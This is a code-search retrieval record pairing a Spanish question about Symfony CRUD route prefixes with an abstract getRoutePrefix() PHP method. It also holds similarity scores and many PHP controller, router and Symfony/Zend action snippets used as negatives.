if(!isset(self::$_instance))\r\n {\r\n self::$_instance = new self();\t// Make new instance of the Controler class\r\n self::$_instance->_commandResolver = new CommandResolver();\r\n\r\n ApplicationController::LoadViewMap();\r\n }\r\n return self::$_instance;\r\n }", "private function create_mock_controller() {\n eval('class TestController extends cyclone\\request\\SkeletonController {\n function before() {\n DispatcherTest::$beforeCalled = TRUE;\n DispatcherTest::$route = $this->_request->route;\n }\n\n function after() {\n DispatcherTest::$afterCalled = TRUE;\n }\n\n function action_act() {\n DispatcherTest::$actionCalled = TRUE;\n }\n}');\n }", "public function AController() {\r\n\t}", "protected function initializeController() {}", "public function dispatch()\n { \n $controller = $this->formatController();\n $controller = new $controller($this);\n if (!$controller instanceof ControllerAbstract) {\n throw new Exception(\n 'Class ' . get_class($controller) . ' is not a valid controller instance. Controller classes must '\n . 'derive from \\Europa\\ControllerAbstract.'\n );\n }\n $controller->action();\n return $controller;\n }", "public function controller()\n {\n $method = $_SERVER['REQUEST_METHOD'];\n if ($method == 'GET') {\n $this->getController();\n };\n if ($method == 'POST') {\n check_csrf();\n $this->createController();\n };\n }", "private function addController($controller)\n {\n $object = new $controller($this->app);\n $this->controllers[$controller] = $object;\n }", "function Controller($ControllerName = Web\\Application\\DefaultController) {\n return Application()->Controller($ControllerName);\n }", "public function getController($controllerName) {\r\n\t\tif(!isset(self::$instances[$controllerName])) {\r\n\t\t $package = $this->getPackage(Nomenclature::getVendorAndPackage($controllerName));\r\n\t\t if(!$package) {\r\n\t\t $controller = new $controllerName();\r\n\t\t $controller->setContext($this->getContext());\r\n\t\t return $controller;\r\n\t\t //return false;\r\n\t\t }\r\n\r\n\t\t if(!$package || !$package->controllerExists($controllerName)) {\r\n\t\t $controller = new $controllerName();\r\n\t\t $controller->setContext($this->getContext());\r\n\t\t $package->addController($controller);\r\n\t\t } else {\r\n\t\t $controller = $package->getController($controllerName);\r\n\t\t }\r\n\t\t} else {\r\n\t\t $controller = self::$instances[$controllerName];\r\n\t\t}\r\n\t\treturn $controller;\r\n\t}", "public function testInstantiateSessionController()\n {\n $controller = new SessionController();\n\n $this->assertInstanceOf(\"App\\Http\\Controllers\\SessionController\", $controller);\n }", "private static function loadController($str) {\n\t\t$str = self::formatAsController($str);\n\t\t$app_controller = file_exists(APP_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t$lib_controller = file_exists(LIB_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\n\t\tif ( $app_controller || $lib_controller ) {\n\t\t\tif ($app_controller) {\n\t\t\t\trequire_once(APP_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\t}\n\t\t\telse {\n\t\t\t\trequire_once(LIB_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\t}\n\t\n\t\t\t$controller = new $str();\n\t\t\t\n\t\t\tif (!$controller instanceof Controller) {\n\t\t\t\tthrow new IsNotControllerException();\n\t\t\t}\n\t\t\telse {\n\t\t\t\treturn $controller;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tthrow new ControllerNotExistsException($str);\n\t\t}\n\t}", "public function __construct()\n {\n // and $url[1] is a controller method\n if ($_GET['url'] == NULL) {\n $url = explode('/', env('defaultRoute'));\n } else {\n $url = explode('/', rtrim($_GET['url'],'/'));\n }\n\n $file = 'controllers/' . $url[0] . '.php';\n if (file_exists($file)) {\n require $file;\n $controller = new $url[0];\n\n if (isset($url[1])) {\n $controller->{$url[1]}();\n }\n } else {\n echo \"404 not found\";\n }\n }", "protected function _controllers()\n {\n $this['watchController'] = $this->factory(static function ($c) {\n return new Controller\\WatchController($c['app'], $c['searcher']);\n });\n\n $this['runController'] = $this->factory(static function ($c) {\n return new Controller\\RunController($c['app'], $c['searcher']);\n });\n\n $this['customController'] = $this->factory(static function ($c) {\n return new Controller\\CustomController($c['app'], $c['searcher']);\n });\n\n $this['waterfallController'] = $this->factory(static function ($c) {\n return new Controller\\WaterfallController($c['app'], $c['searcher']);\n });\n\n $this['importController'] = $this->factory(static function ($c) {\n return new Controller\\ImportController($c['app'], $c['saver'], $c['config']['upload.token']);\n });\n\n $this['metricsController'] = $this->factory(static function ($c) {\n return new Controller\\MetricsController($c['app'], $c['searcher']);\n });\n }", "public function __construct() {\r\n $this->controllerLogin = new ControllerLogin();\r\n $this->controllerGame = new ControllerGame();\r\n $this->controllerRegister = new ControllerRegister();\r\n }", "public function controller ($post = array())\n\t{\n\n\t\t$name = $post['controller_name'];\n\n\t\tif (is_file(APPPATH.'controllers/'.$name.'.php')) {\n\n\t\t\t$message = sprintf(lang('Controller_s_is_existed'), APPPATH.'controllers/'.$name.'.php');\n\n\t\t\t$this->msg[] = $message;\n\n\t\t\treturn $this->result(false, $this->msg[0]);\n\n\t\t}\n\n\t\t$extends = null;\n\n\t\tif (isset($post['crud'])) {\n\n\t\t\t$crud = true;\n\t\t\t\n\t\t}\n\t\telse{\n\n\t\t\t$crud = false;\n\n\t\t}\n\n\t\t$file = $this->_create_folders_from_name($name, 'controllers');\n\n\t\t$data = '';\n\n\t\t$data .= $this->_class_open($file['file'], __METHOD__, $extends);\n\n\t\t$crud === FALSE || $data .= $this->_crud_methods_contraller($post);\n\n\t\t$data .= $this->_class_close();\n\n\t\t$path = APPPATH . 'controllers/' . $file['path'] . strtolower($file['file']) . '.php';\n\n\t\twrite_file($path, $data);\n\n\t\t$this->msg[] = sprintf(lang('Created_controller_s'), $path);\n\n\t\t//echo $this->_messages();\n\t\treturn $this->result(true, $this->msg[0]);\n\n\t}", "protected function getController(Request $request) {\n try {\n $controller = $this->objectFactory->create($request->getControllerName(), self::INTERFACE_CONTROLLER);\n } catch (ZiboException $exception) {\n throw new ZiboException('Could not create controller ' . $request->getControllerName(), 0, $exception);\n }\n\n return $controller;\n }", "public function create() {}", "public function __construct()\n {\n $this->dataController = new DataController;\n }", "function __contrruct(){ //construdor do controller, nele é possivel carregar as librari, helpers, models que serão utilizados nesse controller\n\t\tparent::__contrruct();//Chamando o construtor da classe pai\n\t}", "public function __construct() {\n\n // Get the URL elements.\n $url = $this->_parseUrl();\n\n // Checks if the first URL element is set / not empty, and replaces the\n // default controller class string if the given class exists.\n if (isset($url[0]) and ! empty($url[0])) {\n $controllerClass = CONTROLLER_PATH . ucfirst(strtolower($url[0]));\n unset($url[0]);\n if (class_exists($controllerClass)) {\n $this->_controllerClass = $controllerClass;\n }\n }\n\n // Replace the controller class string with a new instance of the it.\n $this->_controllerClass = new $this->_controllerClass;\n\n // Checks if the second URL element is set / not empty, and replaces the\n // default controller action string if the given action is a valid class\n // method.\n if (isset($url[1]) and ! empty($url[1])) {\n if (method_exists($this->_controllerClass, $url[1])) {\n $this->_controllerAction = $url[1];\n unset($url[1]);\n }\n }\n\n // Check if the URL has any remaining elements, setting the controller\n // parameters as a rebase of it if true or an empty array if false.\n $this->_controllerParams = $url ? array_values($url) : [];\n\n // Call the controller and action with parameters.\n call_user_func_array([$this->_controllerClass, $this->_controllerAction], $this->_controllerParams);\n }", "private function setUpController()\n {\n $this->controller = new TestObject(new SharedControllerTestController);\n\n $this->controller->dbal = DBAL::getDBAL('testDB', $this->getDBH());\n }", "public function create() {\n $class_name = $this->getOption('className');\n return new $class_name();\n }" ]
[ "0.82668066", "0.8173394", "0.78115296", "0.77052677", "0.7681875", "0.7659338", "0.74860525", "0.74064577", "0.7297601", "0.7252339", "0.7195181", "0.7174191", "0.70150065", "0.6989306", "0.69835985", "0.69732994", "0.6963521", "0.6935819", "0.68973273", "0.68920785", "0.6877748", "0.68702674", "0.68622285", "0.6839049", "0.6779292", "0.6703522", "0.66688496", "0.66600126", "0.6650373", "0.66436416", "0.6615505", "0.66144013", "0.6588728", "0.64483404", "0.64439476", "0.6429303", "0.6426485", "0.6303757", "0.6298291", "0.6293319", "0.62811387", "0.6258778", "0.62542456", "0.616827", "0.6162314", "0.61610043", "0.6139887", "0.613725", "0.61334985", "0.6132223", "0.6128982", "0.61092585", "0.6094611", "0.60889256", "0.6074893", "0.60660255", "0.6059098", "0.60565156", "0.6044235", "0.60288006", "0.6024102", "0.60225666", "0.6018304", "0.60134345", "0.60124683", "0.6010913", "0.6009284", "0.6001683", "0.5997471", "0.5997012", "0.59942573", "0.5985074", "0.5985074", "0.5985074", "0.5967613", "0.5952533", "0.5949068", "0.5942203", "0.5925731", "0.5914304", "0.5914013", "0.59119135", "0.5910308", "0.5910285", "0.59013796", "0.59003943", "0.5897524", "0.58964556", "0.58952993", "0.58918965", "0.5888943", "0.5875413", "0.5869938", "0.58627135", "0.58594996", "0.5853714", "0.5839484", "0.5832913", "0.582425", "0.58161044", "0.5815566" ]
0.0
-1
El prefijo de las rutas del CRUD q genera symfony
abstract public function getRoutePrefix();
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function newAction()\n {\n\n $request=$this->getRequest();\n\n $tipo = $request->get('tipo'); // tipo de contratacion = 1- nombramiento, 2-contrato\n $tipocontratacion = $request->get('tipocontratacion'); // quien se contrata = 1- aspirante, 2- empleado\n $idexp = $request->get('idexp');\n\n $var = $request->get('tipogrid');\n if(isset($var)){$tipogrid=$var;}else{$tipogrid=0;}\n\n $entity = new RefrendaAct();\n $form = $this->createForm(new RefrendaActType(), $entity);\n\n //Camino de migas\n if ($tipogrid == 2){\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"hello_page\"));\n $breadcrumbs->addItem(\"Expediente\", $this->get(\"router\")->generate(\"pantalla_modulo\",array('id'=>1)));\n $breadcrumbs->addItem(\"Empleado activo\", $this->get(\"router\")->generate(\"pantalla_empleadoactivo\"));\n $breadcrumbs->addItem(\"Nuevo puesto\", $this->get(\"router\")->generate(\"refrendaact\"));\n }\n else{\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"hello_page\"));\n $breadcrumbs->addItem(\"Expediente\", $this->get(\"router\")->generate(\"pantalla_modulo\",array('id'=>1)));\n if ($tipocontratacion == 1) {//aspirante\n $breadcrumbs->addItem(\"Aspirante\", $this->get(\"router\")->generate(\"pantalla_aspirante\"));\n $breadcrumbs->addItem(\"Registrar aspirante como empleado\", $this->get(\"router\")->generate(\"contratacion\"));\n }\n else { //empleado \n $breadcrumbs->addItem(\"Empleado activo\", $this->get(\"router\")->generate(\"pantalla_empleadoactivo\"));\n $breadcrumbs->addItem(\"Registrar contratación\", $this->get(\"router\")->generate(\"contratacion_empleado\"));\n }\n if ($tipo == 1){ //Ley de salarios\n $breadcrumbs->addItem(\"Registrar nombramiento\", $this->get(\"router\")->generate(\"contratacion_tipo\",array('tipo'=>$tipo,'tipogrid'=>$tipocontratacion,'idexp'=>$idexp)));\n $breadcrumbs->addItem(\"Nuevo puesto\", $this->get(\"router\")->generate(\"contratacion_new\"));\n }\n else if ($tipo == 2){ //Contrato\n $breadcrumbs->addItem(\"Registrar contrato\", $this->get(\"router\")->generate(\"contratacion_tipo\",array('tipo'=>$tipo,'tipogrid'=>$tipocontratacion,'idexp'=>$idexp)));\n $breadcrumbs->addItem(\"Nuevo puesto\", $this->get(\"router\")->generate(\"contratacion_new\"));\n }\n }\n return $this->render('ExpedienteBundle:RefrendaAct:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'tipo' => $tipo,\n 'tipocontratacion' => $tipocontratacion,\n 'idexp' => $idexp,\n 'tipogrid' => $tipogrid\n ));\n }", "public function showAction($id)\n {\n $request=$this->getRequest();\n\n $tipo = $request->get('tipo'); \n $tipocontratacion = $request->get('tipocontratacion'); \n $idexp = $request->get('idexp');\n \n //tipogrid = 1: Acción consultar del grid, 2: Botón nuevo de pantalla index, 0: Nuevo puesto desde contratación\n $var = $request->get('tipogrid');\n if(isset($var)){$tipogrid=$var;}else{$tipogrid=0;}\n \n $em = $this->getDoctrine()->getManager();\n \n $entity = $em->getRepository('AdminBundle:RefrendaAct')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find RefrendaAct entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n //Camino de migas\n if ($tipogrid == 1){\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"hello_page\"));\n $breadcrumbs->addItem(\"Expediente\", $this->get(\"router\")->generate(\"pantalla_modulo\",array('id'=>1)));\n $breadcrumbs->addItem(\"Empleado activo\", $this->get(\"router\")->generate(\"pantalla_empleadoactivo\"));\n $breadcrumbs->addItem(\"Consultar puestos\", $this->get(\"router\")->generate(\"refrendaact\"));\n $breadcrumbs->addItem(\"Detalle de puesto\", \"\");\n }\n\n else if($tipogrid == 2){\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"hello_page\"));\n $breadcrumbs->addItem(\"Expediente\", $this->get(\"router\")->generate(\"pantalla_modulo\",array('id'=>1)));\n $breadcrumbs->addItem(\"Empleado activo\", $this->get(\"router\")->generate(\"pantalla_empleadoactivo\"));\n $breadcrumbs->addItem(\"Nuevo puesto\", $this->get(\"router\")->generate(\"refrendaact_new\", array('tipogrid' => 2)));\n $breadcrumbs->addItem(\"Datos registrados\", \"\");\n }\n\n else{\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"hello_page\"));\n $breadcrumbs->addItem(\"Expediente\", $this->get(\"router\")->generate(\"pantalla_modulo\",array('id'=>1)));\n if ($tipocontratacion == 1) {//aspirante\n $breadcrumbs->addItem(\"Aspirante\", $this->get(\"router\")->generate(\"pantalla_aspirante\"));\n $breadcrumbs->addItem(\"Registrar aspirante como empleado\", $this->get(\"router\")->generate(\"contratacion\"));\n }\n else { //empleado \n $breadcrumbs->addItem(\"Empleado activo\", $this->get(\"router\")->generate(\"pantalla_empleadoactivo\"));\n $breadcrumbs->addItem(\"Registrar contratación\", $this->get(\"router\")->generate(\"contratacion_empleado\"));\n }\n if ($tipo == 1){ //Ley de salarios\n $breadcrumbs->addItem(\"Registrar nombramiento\", $this->get(\"router\")->generate(\"contratacion_tipo\",array('tipo'=>$tipo,'tipogrid'=>$tipocontratacion,'idexp'=>$idexp)));\n $breadcrumbs->addItem(\"Nuevo puesto / Datos registrados\", $this->get(\"router\")->generate(\"contratacion_new\"));\n }\n else if ($tipo == 2){ //Contrato\n $breadcrumbs->addItem(\"Registrar contrato\", $this->get(\"router\")->generate(\"contratacion_tipo\",array('tipo'=>$tipo,'tipogrid'=>$tipocontratacion,'idexp'=>$idexp)));\n $breadcrumbs->addItem(\"Nuevo puesto / Datos registrados\", $this->get(\"router\")->generate(\"contratacion_new\"));\n }\n }\n return $this->render('ExpedienteBundle:RefrendaAct:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(), \n 'tipo' => $tipo,\n 'tipocontratacion' => $tipocontratacion,\n 'idexp' => $idexp,\n 'tipogrid' => $tipogrid ));\n }", "public function editAction($id)\n {\n $request=$this->getRequest();\n\n $tipo = $request->get('tipo'); \n $tipocontratacion = $request->get('tipocontratacion'); \n $idexp = $request->get('idexp');\n \n //tipogrid = 1: Acción consultar del grid, 2: Botón nuevo de pantalla index, 0: Nuevo puesto desde contratación\n $var = $request->get('tipogrid');\n if(isset($var)){$tipogrid=$var;}else{$tipogrid=0;}\n\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('AdminBundle:RefrendaAct')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find RefrendaAct entity.');\n }\n\n //obtener datos de unidad\n $query=$em->createQuery('SELECT c.id centro, u.id unidad\n FROM AdminBundle:RefrendaAct r\n join r.idunidad u\n join u.idcentro c\n WHERE u.id = :unidad'\n )->setParameter('unidad', $entity->getIdunidad());\n $datosunidad = $query->getResult();\n\n $editForm = $this->createForm(new RefrendaActType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n //Camino de migas\n if($tipogrid == 2){\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"hello_page\"));\n $breadcrumbs->addItem(\"Expediente\", $this->get(\"router\")->generate(\"pantalla_modulo\",array('id'=>1)));\n $breadcrumbs->addItem(\"Empleado activo\", $this->get(\"router\")->generate(\"pantalla_empleadoactivo\"));\n $breadcrumbs->addItem(\"Nuevo puesto\", $this->get(\"router\")->generate(\"refrendaact_new\", array('tipogrid' => 2)));\n $breadcrumbs->addItem(\"Datos registrados\", $this->get(\"router\")->generate(\"refrendaact_show\", array('id'=>$id,'tipogrid' => 2)));\n $breadcrumbs->addItem(\"Modificar\", \"\");\n }\n else{\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"hello_page\"));\n $breadcrumbs->addItem(\"Expediente\", $this->get(\"router\")->generate(\"pantalla_modulo\",array('id'=>1)));\n if ($tipocontratacion == 1) {//aspirante\n $breadcrumbs->addItem(\"Aspirante\", $this->get(\"router\")->generate(\"pantalla_aspirante\"));\n $breadcrumbs->addItem(\"Registrar aspirante como empleado\", $this->get(\"router\")->generate(\"contratacion\"));\n }\n else { //empleado \n $breadcrumbs->addItem(\"Empleado activo\", $this->get(\"router\")->generate(\"pantalla_empleadoactivo\"));\n $breadcrumbs->addItem(\"Registrar contratación\", $this->get(\"router\")->generate(\"contratacion_empleado\"));\n }\n if ($tipo == 1){ //Ley de salarios\n $breadcrumbs->addItem(\"Registrar nombramiento\", $this->get(\"router\")->generate(\"contratacion_tipo\",array('tipo'=>$tipo,'tipogrid'=>$tipocontratacion,'idexp'=>$idexp)));\n $breadcrumbs->addItem(\"Nuevo puesto / Modificar datos\", $this->get(\"router\")->generate(\"contratacion_new\"));\n }\n else if ($tipo == 2){ //Contrato\n $breadcrumbs->addItem(\"Registrar contrato\", $this->get(\"router\")->generate(\"contratacion_tipo\",array('tipo'=>$tipo,'tipogrid'=>$tipocontratacion,'idexp'=>$idexp)));\n $breadcrumbs->addItem(\"Nuevo puesto / Modificar datos\", $this->get(\"router\")->generate(\"contratacion_new\"));\n }\n } \n return $this->render('ExpedienteBundle:RefrendaAct:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n 'datosunidad' => $datosunidad,\n 'tipo' => $tipo,\n 'tipocontratacion' => $tipocontratacion,\n 'idexp' => $idexp,\n 'tipogrid' => $tipogrid ));\n }", "public function manttRolEdicionAction() {\n\n $request = $this->getRequest();\n\n $nombreRol = $request->get('nombreRol');\n $funciones = $request->get('funcionesRol');\n $rolImportador = $request->get('rolImportador');\n $rolProductor = $request->get('rolProductor');\n $rolComprador = $request->get('rolComprador');\n $rolCompVend = $request->get('rolCompVend');\n $rolInterno = $request->get('rolInterno');\n $rolTipo = $request->get('rolTipo');\n $rolInternoTipo = $request->get('rolInternoTipo');\n \n $id = $request->get('id');\n \n $operacion = $request->get('oper');\n\n $rolDao = new RolDao($this->getDoctrine());\n\n if ($operacion == 'edit') {\n $rolSistema = new RolSistema();\n $rolDao = new RolDao($this->getDoctrine());\n $rolSistema = $rolDao->repositorio->find($id);\n \n if(!$rolSistema){\n //throw $this->createNotFoundException('No se encontro rol con ese id '.$id);\n return new Response('{\"status\":false,\"msg\":\"No se encontro rol con este id->'.$id.'\"}');\n }\n \n $rolSistema->setNombreRol($nombreRol);\n $rolSistema->setFuncionesRol($funciones);\n $rolSistema->setRolImportador($rolImportador);\n $rolSistema->setRolProductor($rolProductor);\n \n $rolSistema->setRolComprador($rolComprador);\n $rolSistema->setRolCompVend($rolCompVend);\n $rolSistema->setRolInterno($rolInterno);\n $rolSistema->setRolTipo($rolTipo);\n $rolSistema->setRolInternoTipo($rolInternoTipo);\n \n $rolDao->editRol($rolSistema);\n }else if ($operacion == 'del') {\n $rolDao->delRol($id);\n \n }else if ($operacion == 'add') {\n $rolSistema=new RolSistema();\n \n $rolSistema->setNombreRol($nombreRol);\n $rolSistema->setFuncionesRol($funciones);\n $rolSistema->setRolImportador($rolImportador);\n $rolSistema->setRolProductor($rolProductor);\n \n $rolSistema->setRolComprador($rolComprador);\n $rolSistema->setRolCompVend($rolCompVend);\n $rolSistema->setRolInterno($rolInterno);\n $rolSistema->setRolTipo($rolTipo);\n $rolSistema->setRolInternoTipo($rolInternoTipo);\n \n $rolDao->addRol($rolSistema);\n }\n\n return new Response('{\"status\":true,\"msg\":\"\"}');\n }", "public function indexDiariaAction()\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n $entity = new Consulta();\r\n $this->tipo=2;\r\n $form = $this->createCreateForm($entity,$this->tipo,0);\r\n //$entities = $em->getRepository('DGPlusbelleBundle:Consulta')->findAll();\r\n $dql = \"SELECT c FROM DGPlusbelleBundle:Consulta c WHERE c.tipoConsulta= :tipo\";\r\n $entities = $em->createQuery($dql)\r\n ->setParameter('tipo',1)\r\n ->getResult();\r\n //var_dump($entities);\r\n return array(\r\n 'entities' => $entities,\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n 'tipo' => 2,\r\n );\r\n }", "public function indexAction()\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n $entity = new Consulta();\r\n $this->tipo=1;\r\n $form = $this->createCreateForm($entity,$this->tipo,0);\r\n $entities = $em->getRepository('DGPlusbelleBundle:Consulta')->findAll();\r\n\r\n return array(\r\n 'entities' => $entities,\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n 'tipo' => 1,\r\n );\r\n }", "public function editAction() {}", "public function revision($id) {\n\t\tif ($this -> request -> is('post') || $this -> request -> is('put')) {\n\t\t\tif ($this -> request -> data['SolicitudesTitulacion']['tipos_especies_valorada_id']) {\n\t\t\t\tif ($this -> SolicitudesTitulacion -> save($this -> request -> data)) {\n\t\t\t\t\t$this -> Session -> setFlash(__('Se registró el cambio'), 'crud/success');\n\t\t\t\t\t$this -> redirect(array('action' => 'index'));\n\t\t\t\t} else {\n\t\t\t\t\t$this -> Session -> setFlash(__('No se pudo registrar el cambio. Por favor, intente de nuevo.'), 'crud/error');\n\t\t\t\t\t$this -> redirect(array('action' => 'index'));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this -> Session -> setFlash(__('No se pudo registrar el cambio. Seleccione el tipo de especie valorada. Por favor, intente de nuevo.'), 'crud/error');\n\t\t\t\t$this -> redirect(array('action' => 'index'));\n\t\t\t}\n\t\t} else {\n\t\t\tif (!$id) {\n\n\t\t\t} else {\n\t\t\t\t$this -> loadModel('Archivo');\n\t\t\t\t$archivos = $this -> Archivo -> find('all', array('conditions' => array('Archivo.model' => 'SolicitudesTitulacion', 'Archivo.foreign_key' => $id)));\n\t\t\t\t//$estadosSolicitudesTitulaciones = $this -> SolicitudesTitulacion -> EstadosSolicitudesTitulacion -> find('list');\n\t\t\t\t$estadosSolicitudesTitulaciones = $this -> SolicitudesTitulacion -> EstadosSolicitudesTitulacion -> find(\"list\", array(\"fields\" => array(\"id\", \"est_estado\")));\n\t\t\t\tunset($estadosSolicitudesTitulaciones[4]);\n\t\t\t\t//Quito el estado de refrendado\n\t\t\t\t//debug($estadosSolicitudesTitulaciones);\n\t\t\t\t$tiposEspeciesValoradas = $this -> SolicitudesTitulacion -> TiposEspeciesValorada -> find('list');\n\t\t\t\t$this -> set(compact('estadosSolicitudesTitulaciones', 'tiposEspeciesValoradas'));\n\t\t\t\t$this -> set('archivos', $archivos);\n\t\t\t\t$solicitud = $this -> SolicitudesTitulacion -> read(null, $id);\n\t\t\t\t$this -> request -> data = $solicitud;\n\t\t\t\t//$this -> set('solicitud', $solicitud);\n\t\t\t}\n\t\t}\n\t}", "public function editarAction()\n {\n $id = (int)$this->_request->getParam('id', 0);\n\n /* Traigo el formulario*/\n $form = $this->_form->getFrmEdita();\n $form->setAction($this->view->baseUrlController . '/editar/id/'. $id .'/');\n\n if ($this->_request->isPost()) { /* Si se ha submiteado el formulario, se procede a guardar los datos */\n \n /* Como recibo el Id del Movimiento, entonces obtengo el id de la tabla Documento para poder editarlo */\n $objMovimiento = new Gidoc_Model_MovimientoMapper();\n $movimiento = $objMovimiento->getById($id);\n $id = $movimiento->documento_id;\n \n /* Recibo los datos del formulario por _POST */\n $formData = $this->_request->getPost();\n\n /* Lleno el formulario con los datos recibidos por _POST */\n $form->populate($formData); \n\n /* Verifico valores que llegan desde el formulario */\n $numero = $form->numero->getValue();\n if ($numero == ''){\n $numero = 0;\n }\n \n \n $expediente_id = $form->expediente_id->getValue();\n if ($expediente_id == ''){\n $expediente_id = 0;\n }\n \n $procedimiento_id = $form->procedimiento_id->getValue();\n if ($procedimiento_id == ''){\n $procedimiento_id = NULL;\n }\n \n \n /* Creo mi objeto */\n $data = array('id' => $id,\n 'expediente_id' => $expediente_id, \n 'dependencia_id' => $form->dependencia_id->getValue(),\n 'firma' => $form->firma->getValue(),\n 'cargo' => $form->cargo->getValue(),\n 'tipo_documento_id' => $form->tipo_documento_id->getValue(),\n 'fecha_documento' => $form->fecha_documento->getValue(),\n 'numero' => $numero,\n 'siglas' => $form->siglas->getValue(),\n 'asunto' => $form->asunto->getValue(),\n 'anexos' => $form->anexos->getValue(), \n 'procedimiento_id' => $procedimiento_id, \n 'dependencia_registra_id' => $form->dependencia_registra_id->getValue(), \n 'usuario_id' => $this->_usuario->id \n );\n\n try {\n /* Actualizo mi objeto */\n $this->_modelo->save($data);\n } catch(Exception $ex) {\n // echo 'error|'.$ex->getMessage();\n \n /* Para mostrar el error en el Flash Messenger y mantener los datos del formulario */\n $this->_helper->FlashMessenger(array('error' => $ex->getMessage())); \n \n $form->populate($formData);\n $this->view->form = $form;\n return $this->render('editar');\n /* */\n \n }\n\n $this->_helper->redirector('poratender', 'documentos', 'gidoc'); \n \n } else { /* Se llama al formulario */\n \n /* Como recibo el Id del Movimiento, entonces obtengo el id de la tabla Documento para poder editarlo */\n $objMovimiento = new Gidoc_Model_MovimientoMapper();\n $movimiento = $objMovimiento->getById($id);\n $id = $movimiento->documento_id;\n \n /* Obtengo el objeto de la tabla Documento */\n $obj = $this->_modelo->getById($id);\n\n if (null === $obj) {\n //$this->_redirect('/');\n }\n /* Paso los campos del objeto a un array */\n $arrayData = $obj->toArray();\n\n $date = new Zend_Date($arrayData['fecha_documento'], Zend_Date:: ISO_8601);\n\t $fecha = $date->toString('dd/MM/yyyy');\n\t $arrayData['fecha_documento'] = $fecha;\n \n if($arrayData['procedimiento_id'] == null ){\n $arrayData['procedimiento_id'] = ''; \n }\n \n /* Creo variable para poder ocultar el botón guardar, si el que edita no es el dueño del registro */\n $this->view->usua_idregistro = $arrayData['usuario_id'];\n\n /* Variables para poder subir archivos */\n $this->view->id = $id;\n /* Para el Grid archivos */\n /* Configuración del jqgrid */\n $this->view->archivos_colNames = \"'Archivo',''\";\n $this->view->archivos_colModel = \"{name:'descripcion', index:'descripcion', width:50},\n {name:'opcion', index:'opcion', width:10}\";\n $this->view->archivos_sortName = \"descripcion\"; /* Nombre del campo de la tabla por la que debe ser ordenado al cargar los datos. Generalmente es el pk de la tabla */\n \n /* Fin: Variables para poder subir archivos */\n \n /* LLeno los campos del formulario con los datos del array */\n $form->populate($arrayData);\n $this->view->form = $form;\n //$this->_helper->layout->disableLayout();\n $this->render('editar'); \n\n }\n }", "public function listoAction() \n { \n $form = new Formulario(\"form\");\n // valores iniciales formulario (C)\n $id = $this->params()->fromRoute('id', 0);\n \n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter'); \n $d = new AlbumTable($this->dbAdapter);\n $pos = strpos($id, \".\"); \n $idIasp = substr($id, 0 , $pos ); // Id item aspectos \n $idCar = substr($id, $pos+1 , 100 ); // id Cargo\n $form->get(\"id\")->setAttribute(\"value\",$idIasp); \n $form->get(\"id2\")->setAttribute(\"value\",$idCar); \n \n if ($id==0)\n { \n $data = $this->request->getPost();\n $idIasp = $data->id; \n } \n $datos = $d->getGeneral(\"select a.*, b.nombre as nomAsp,c.texto, c.a, c.b, c.c, c.d, c.e, a.tipo \n from t_asp_cargo_i a \n inner join t_asp_cargo b on b.id=a.idAsp \n left join t_cargos_a c on c.idIasp=a.id \n where a.idAsp=\".$idIasp); \n \n // ------------------------ Fin valores del formulario \n if($this->getRequest()->isPost()) // Actulizar datos\n {\n $request = $this->getRequest();\n if ($request->isPost()) { \n \n $u = new CargosA($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n $data = $this->request->getPost();\n $d->modGeneral(\"Delete from t_cargos_a where idAsp=\".$data->id);\n //print_r($data);\n foreach ($datos as $dato){\n $idLc = $dato['id'];\n $nombre = '';\n if ($dato['tipo'] == 1)// Texto \n {\n $texto = '$data->text'.$idLc;\n eval(\"\\$nombre = $texto;\"); \n } \n $a = 0;$b = 0;$c = 0;$d = 0;$e = 0;\n if ($dato['tipo'] == 2)// Lista de opciones \n {\n $texto = '$data->comenNa'.$idLc;\n eval(\"\\$a = $texto;\"); \n $texto = '$data->comenNb'.$idLc;\n eval(\"\\$b = $texto;\"); \n $texto = '$data->comenNc'.$idLc;\n eval(\"\\$c = $texto;\"); \n $texto = '$data->comenNd'.$idLc;\n eval(\"\\$d = $texto;\"); \n $texto = '$data->comenNe'.$idLc;\n eval(\"\\$e = $texto;\"); \n }\n $u->actRegistro( $data->id2, $data->id, $dato['id'],$nombre, $a, $b, $c, $d, $e);\n }\n $this->flashMessenger()->addMessage('');\n return 